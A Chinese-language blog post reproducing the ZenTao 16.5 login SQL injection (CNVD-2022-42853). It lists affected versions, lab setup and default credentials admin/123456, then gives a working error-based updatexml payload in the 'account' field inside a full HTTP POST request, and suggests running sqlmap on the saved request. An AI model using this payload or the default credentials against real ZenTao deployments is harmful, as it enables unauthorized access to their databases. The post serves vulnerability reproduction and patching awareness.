禅道V16.5SQL注入漏洞(CNVD-2022-42853)

发布时间 2023-10-17 14:40:22作者: Mr-Ryan

禅道V16.5SQL注入漏洞(CNVD-2022-42853)

0x01 介绍

禅道项目管理软件是一款国产的、基于LGPL协议、开源免费的项目管理软件,它集产品管理、项目管理、测试管理于一体,同时还包含了事务管理、组织管理等诸多功能,是中小型企业项目管理的首选,基于自主的PHP开发框架──ZenTaoPHP而成,第三方开发者或企业可非常方便的开发插件或者进行定制。

0x02 漏洞原理

禅道V16.5在登录处未对用户输入的 account 参数内容作过滤校验,导致攻击者拼接恶意SQL语句执行,攻击者可利用漏洞获取数据库敏感信息。

0x03 影响版本

青岛易软天创网络科技有限公司 禅道企业版 6.5
青岛易软天创网络科技有限公司 禅道旗舰版 3.0
青岛易软天创网络科技有限公司 禅道开源版 16.5
青岛易软天创网络科技有限公司 禅道开源版 16.5.beta1

0x04 漏洞复现

一、环境安装

  1. 下载安装程序
    https://www.zentao.net/dl/zentao/16.5/ZenTaoPMS.16.5.win64.exe
    image.png

  2. 双击运行安装,安装路径可以自定义
    image.png
    image.png

  3. 安装完成后进入软件目录,双击start.exe
    image.png

  4. 启动即可
    image.png

  5. 访问网站首页,需要先进行Apache用户验证(如果勾选启用的话)
    image.png

  6. 首页显示如下,因为这里我们只部署了开源的版本,所以仅显示一个可点击的按钮
    image.png
    公网上部署多个版本的显示如下
    image.png

  7. 点击进入之后进入到登录界面
    http://192.168.154.129/zentao/user-login-L3plbnRhby8=.html
    image.png

  8. 使用默认账号密码 admin/123456 登录,登录后会强制修改初始密码
    image.png

  9. 后台显示页面如下
    image.png
    环境安装到此结束

二、漏洞复现

  1. 查看当前版本信息
http://127.0.0.1/zentao/index.php?mode=getconfig

image.png

{"version":"16.5","requestType":"PATH_INFO","requestFix":"-","moduleVar":"m","methodVar":"f","viewVar":"t","sessionVar":"zentaosid","systemMode":"new","sprintConcept":"0","URAndSR":"0","sessionName":"zentaosid","sessionID":"268ccdb7afa650b2307aab5220b0d0c0","random":9875,"expiredTime":"1440","serverTime":1666767839,"rand":9875}

当前版本为16.5

  1. 登录界面正常抓包如下
    image.png

报错注入
注入点在 account
payload:

account=admin'+and++updatexml(1,concat(0x1,user()),1)+and+'1'='1
POST /zentao/user-login.html HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:105.0) Gecko/20100101 Firefox/105.0
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Referer: http://127.0.0.1/zentao/user-login.html
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Content-Length: 188
Origin: http://127.0.0.1
Authorization: Basic emVudGFvOjh6ajk+N0Y4bkFL
Connection: close
Cookie: zentaosid=268ccdb7afa650b2307aab5220b0d0c0; lang=zh-cn; device=desktop; theme=default; tab=my; windowWidth=1289; windowHeight=703

account=admin'+and++updatexml(1,concat(0x1,user()),1)+and+'1'='1&password=ea84f41bfdb3c281e176d3bcfbd0107e&passwordStrength=1&referer=%2Fzentao%2F&verifyRand=684624872&keepLogin=0&captcha=

image.png
执行成功,后面只需要将POST数据包保存下来用sqlmap跑就行了

0x05 修复建议

厂商已提供漏洞修补方案,请关注厂商主页及时更新:
https://www.zentao.net/